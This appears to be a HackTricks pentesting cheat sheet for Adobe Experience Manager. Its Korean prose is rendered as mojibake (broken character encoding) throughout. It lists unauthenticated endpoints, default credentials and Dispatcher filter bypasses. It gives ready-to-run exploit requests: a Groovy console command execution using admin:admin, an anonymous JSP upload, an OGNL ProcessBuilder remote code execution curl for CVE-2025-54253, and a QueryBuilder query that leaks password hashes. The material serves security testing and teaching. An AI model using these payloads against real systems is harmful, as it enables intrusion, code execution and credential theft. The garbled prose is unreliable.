AEM (Adobe Experience Manager) Pentesting

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Adobe Experience Manager (AEM, part of the Adobe Experience Cloud)์€ Apache Sling/Felix (OSGi)์™€ Java Content Repository (JCR) ์œ„์—์„œ ๋™์ž‘ํ•˜๋Š” ์—”ํ„ฐํ”„๋ผ์ด์ฆˆ CMS์ž…๋‹ˆ๋‹ค.
๊ณต๊ฒฉ์ž ๊ด€์ ์—์„œ AEM ์ธ์Šคํ„ด์Šค๋Š” ์ข…์ข… ์œ„ํ—˜ํ•œ ๊ฐœ๋ฐœ ์—”๋“œํฌ์ธํŠธ, ์ทจ์•ฝํ•œ Dispatcher ๊ทœ์น™, default credentials ๋ฐ ๋ถ„๊ธฐ๋ณ„๋กœ ํŒจ์น˜๋˜๋Š” ๋งŽ์€ CVEs๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค.

์•„๋ž˜ ์ฒดํฌ๋ฆฌ์ŠคํŠธ๋Š” ์‹ค์ œ ์ž‘์—…(2022-2026)์—์„œ ๊ณ„์† ๋“ฑ์žฅํ•˜๋Š” externally reachable (unauth) attack surface์— ์ดˆ์ ์„ ๋งž์ถฅ๋‹ˆ๋‹ค.


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Other quick indicators:

  • /etc.clientlibs/ ์ •์  ๊ฒฝ๋กœ ์กด์žฌ (returns JS/CSS).
  • /libs/granite/core/content/login.html ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ โ€” โ€œAdobe Experience Managerโ€ ๋ฐฐ๋„ˆ ํฌํ•จ.
  • </script><!--/* CQ */--> HTML ํ•˜๋‹จ์˜ ์ฃผ์„.

2. ์ค‘์š”(๊ณ ๊ฐ€์น˜) ์ธ์ฆ ์—†์ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ์—”๋“œํฌ์ธํŠธ

PathWhat you getNotes
/.json, /.1.jsonJCR nodes via DefaultGetServlet์ž์ฃผ ์ฐจ๋‹จ๋˜์ง€๋งŒ, Dispatcher bypass (์•„๋ž˜ ์ฐธ์กฐ)๋กœ ์šฐํšŒ ๊ฐ€๋Šฅ.
/bin/querybuilder.json?path=/QueryBuilder APIํŽ˜์ด์ง€ ํŠธ๋ฆฌ, ๋‚ด๋ถ€ ๊ฒฝ๋กœ, ์‚ฌ์šฉ์ž ์ด๋ฆ„ leak.
/system/console/status-*, /system/console/bundlesOSGi/Felix console๊ธฐ๋ณธ์ ์œผ๋กœ 403; ๋…ธ์ถœ๋˜์–ด ์žˆ๊ณ  creds๊ฐ€ ๋ฐœ๊ฒฌ๋˜๋ฉด โ‡’ bundle-upload RCE.
/crx/packmgr/index.jspPackage Manager์ธ์ฆ๋œ content packages ์—…๋กœ๋“œ ํ—ˆ์šฉ โ†’ JSP payload ์—…๋กœ๋“œ.
/etc/groovyconsole/**AEM Groovy Console๋…ธ์ถœ๋˜๋ฉด โ†’ ์ž„์˜์˜ Groovy / Java ์‹คํ–‰.
/libs/cq/AuditlogSearchServlet.jsonAudit logs์ •๋ณด ๋…ธ์ถœ.
/libs/cq/ui/content/dumplibs.htmlClientLibs dumpXSS vector.
/adminui/debugAEM Forms on JEE Struts dev-mode OGNL evaluatorForms ์„ค์น˜๊ฐ€ ์ž˜๋ชป ๊ตฌ์„ฑ๋œ ๊ฒฝ์šฐ(CVE-2025-54253) ์ด ์—”๋“œํฌ์ธํŠธ๋Š” ์ธ์ฆ ์—†์ด OGNL์„ ์‹คํ–‰ โ†’ RCE.

Dispatcher bypass tricks (still working in 2025/2026)

Most production sites sit behind the Dispatcher (reverse-proxy). Filter rules are frequently bypassed by abusing encoded characters or allowed static extensions.

Classic semicolon + allowed extension

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Encoded slash bypass (2025 KB ka-27832)

GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1

If the Dispatcher allows encoded slashes, this returns JSON even when /bin is supposedly denied.


3. ์ผ๋ฐ˜์ ์ธ ์ž˜๋ชป๋œ ๊ตฌ์„ฑ (2026๋…„์—๋„ ์—ฌ์ „ํžˆ ์กด์žฌ)

  1. Anonymous POST servlet โ€“ POST /.json with :operation=import๋กœ ์ƒˆ JCR ๋…ธ๋“œ๋ฅผ ์‹ฌ์„ ์ˆ˜ ์žˆ๋‹ค. Dispatcher์—์„œ *.json POST๋ฅผ ์ฐจ๋‹จํ•˜๋ฉด ํ•ด๊ฒฐ๋œ๋‹ค.
  2. World-readable user profiles โ€“ ๊ธฐ๋ณธ ACL์ด /home/users/**/profile/*์— ๋Œ€ํ•ด ๋ชจ๋‘์—๊ฒŒ jcr:read ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•œ๋‹ค.
  3. Default credentials โ€“ admin:admin, author:author, replication:replication.
  4. WCMDebugFilter enabled โ‡’ ?debug=layout์„ ํ†ตํ•ด reflected XSS ๋ฐœ์ƒ (CVE-2016-7882, ์—ฌ์ „ํžˆ ๋ ˆ๊ฑฐ์‹œ 6.4 ์„ค์น˜์—์„œ ๋ฐœ๊ฒฌ).
  5. Groovy Console exposed โ€“ Groovy ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ „์†กํ•˜์—ฌ remote code execution:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
  1. Dispatcher encoded-slash gap โ€“ /bin/querybuilder.json ๋ฐ /etc/truststore.json์ด ๊ฒฝ๋กœ ํ•„ํ„ฐ๋กœ ์ฐจ๋‹จ๋˜์–ด ์žˆ์–ด๋„ %2f/%3B๋กœ ์ ‘๊ทผ ๊ฐ€๋Šฅ.
  2. AEM Forms Struts devMode left enabled โ€“ /adminui/debug?expression=์ด ์ธ์ฆ ์—†์ด OGNL์„ ํ‰๊ฐ€ํ•˜์—ฌ unauth RCE๋ฅผ ์ดˆ๋ž˜(CVE-2025-54253); Forms ์ œ์ถœ์—์„œ์˜ XXE(CVE-2025-54254)๋Š” ํŒŒ์ผ ์ฝ๊ธฐ๋ฅผ ํ—ˆ์šฉํ•œ๋‹ค.

4. ์ตœ๊ทผ ์ทจ์•ฝ์  (์„œ๋น„์ŠคํŒฉ ์ฃผ๊ธฐ)

๋ถ„๊ธฐCVE / Bulletin์˜ํ–ฅ ๋Œ€์ƒ์˜ํ–ฅ
Dec 2025APSB25-115, CVE-2025-64537/645396.5.24 & earlier, Cloud 2025.12์—ฌ๋Ÿฌ ๊ฑด์˜ critical/stored XSS โ†’ author UI๋ฅผ ํ†ตํ•œ ์ฝ”๋“œ ์‹คํ–‰.
Sep 2025APSB25-906.5.23 & earlier๋ณด์•ˆ ๊ธฐ๋Šฅ ์šฐํšŒ ์ฒด์ธ (Dispatcher auth checker) โ€“ 6.5.24/Cloud 2025.12๋กœ ์—…๊ทธ๋ ˆ์ด๋“œ ๊ถŒ์žฅ.
Aug 2025CVE-2025-54253 / 54254 (AEM Forms JEE)Forms 6.5.23.0 and earlierDevMode OGNL RCE + XXE ํŒŒ์ผ ์ฝ๊ธฐ, ์ธ์ฆ ๋ถˆํ•„์š”.
Jun 2025APSB25-486.5.23 & earlierCommunities ์ปดํฌ๋„ŒํŠธ์—์„œ Stored XSS ๋ฐ ๊ถŒํ•œ ์ƒ์Šน.
Dec 2024APSB24-69 (rev. Mar 2025 adds CVE-2024-53962โ€ฆ74)6.5.22 & earlierDOM/Stored XSS, ์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰(์ €๊ถŒํ•œ).
Dec 2023APSB23-72โ‰ค 6.5.18์กฐ์ž‘๋œ URL์„ ํ†ตํ•œ DOM-based XSS.

ํ•ญ์ƒ ๊ณ ๊ฐ์˜ ์„œ๋น„์ŠคํŒฉ์— ํ•ด๋‹นํ•˜๋Š” APSB ๊ณต์ง€๋ฅผ ํ™•์ธํ•˜๊ณ  ์ตœ์‹  6.5.24 (Nov 26, 2025) ๋˜๋Š” Cloud Service 2025.12๋กœ ์—…๊ทธ๋ ˆ์ด๋“œํ•˜๋„๋ก ๊ถŒ์žฅํ•œ๋‹ค. AEM Forms on JEE๋Š” ์ž์ฒด add-on hotfix **6.5.0-0108+**๊ฐ€ ํ•„์š”ํ•˜๋‹ค.


5. Exploitation snippets

5.1 RCE via dispatcher bypass + JSP upload

If anonymous write is possible:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

์ด์ œ /content/evil.jsp๋ฅผ ์š”์ฒญํ•˜์„ธ์š” โ€“ JSP๋Š” AEM ํ”„๋กœ์„ธ์Šค ์‚ฌ์šฉ์ž๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

5.2 SSRF to RCE (๊ณผ๊ฑฐ < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem-hacker์˜ aem_ssrf2rce.py๊ฐ€ ์ „์ฒด ์ฒด์ธ์„ ์ž๋™ํ™”ํ•ฉ๋‹ˆ๋‹ค.

5.3 AEM Forms JEE์˜ OGNL RCE (CVE-2025-54253)

# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"

์ทจ์•ฝํ•œ ๊ฒฝ์šฐ, HTTP ๋ณธ๋ฌธ์—๋Š” ๋ช…๋ น ์ถœ๋ ฅ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

5.4 QueryBuilder hash disclosure (encoded slash bypass)

GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1

๊ธฐ๋ณธ์ ์œผ๋กœ anonymous read ACLs๊ฐ€ ์„ค์ •๋œ ๊ฒฝ์šฐ ์‚ฌ์šฉ์ž ๋…ธ๋“œ(rep:password ํ•ด์‹œ ํฌํ•จ)๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.


6. ๋„๊ตฌ

  • aem-hacker โ€“ ๋งŒ๋Šฅ ์—ด๊ฑฐ ์Šคํฌ๋ฆฝํŠธ๋กœ dispatcher bypass, SSRF detection, default-creds ๊ฒ€์‚ฌ ๋“ฑ ์ง€์›.
python3 aem_hacker.py -u https://target --host attacker-ip
  • Tenable WAS plugin 115065 โ€“ QueryBuilder hash disclosure ๋ฐ encoded-slash bypass๋ฅผ ์ž๋™์œผ๋กœ ํƒ์ง€ํ•ฉ๋‹ˆ๋‹ค (published Dec 2025).
  • Content brute-force โ€“ /_jcr_content.(json|html)๋ฅผ ์žฌ๊ท€์ ์œผ๋กœ ์š”์ฒญํ•˜์—ฌ ์ˆจ๊ฒจ์ง„ ์ปดํฌ๋„ŒํŠธ๋ฅผ ๋ฐœ๊ฒฌํ•ฉ๋‹ˆ๋‹ค.
  • osgi-infect โ€“ creds๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ /system/console/bundles๋ฅผ ํ†ตํ•ด ์•…์„ฑ OSGi ๋ฒˆ๋“ค์„ ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ